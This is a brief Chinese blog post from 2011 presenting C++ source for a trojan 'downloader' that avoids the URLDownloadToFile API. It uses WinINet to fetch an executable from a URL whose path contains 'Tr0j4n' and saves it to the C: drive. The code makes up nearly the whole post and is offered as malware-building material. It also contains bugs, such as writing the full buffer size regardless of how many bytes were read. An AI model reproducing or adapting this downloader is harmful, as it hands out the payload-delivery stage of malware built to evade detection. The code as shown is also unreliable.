VC实现下载者的代码,不通过URLDownloadToFile

#include<windows.h>
#include<wininet.h>
#include<iostream.h>
#pragma comment(lib,"wininet.lib")
int main(void)
{
DWORD byteread=0;
char buffer[100];
memset(buffer,0,100);
HINTERNET internetopen;
internetopen=InternetOpen("Testing",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
if (internetopen==NULL){
cout<<"Internet open failed!"<<endl;
return;
}
HINTERNET internetopenurl;
internetopenurl=InternetOpenUrl(internetopen,"http://hi.baidu.com/Tr0j4n/1.exe",NULL,0,INTERNET_FLAG_RELOAD,0);
if (internetopenurl==NULL){
   cout<<"Internet open url failed!"<<endl;
   InternetCloseHandle(internetopen);
}

BOOL hwrite;
DWORD written;
HANDLE createfile;
createfile=CreateFile("c:\\Down.exe",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
if (createfile==INVALID_HANDLE_VALUE){
   cout<<"Create File failed!"<<endl;
   InternetCloseHandle(internetopenurl);
}
BOOL internetreadfile;
while(1){
   internetreadfile=InternetReadFile(internetopenurl,buffer,sizeof(buffer),&byteread);
   if(byteread==0)
    break;
   hwrite=WriteFile(createfile,buffer,sizeof(buffer),&written,NULL);
   if (hwrite==0){
    cout<<"Write to file failed!"<<endl;
    CloseHandle(createfile);
   }
}
cout<<"Finished downloading!"<<endl;
}

 


posted @ 2011-01-27 02:26  alex618  阅读(3813)  评论(0编辑  收藏  举报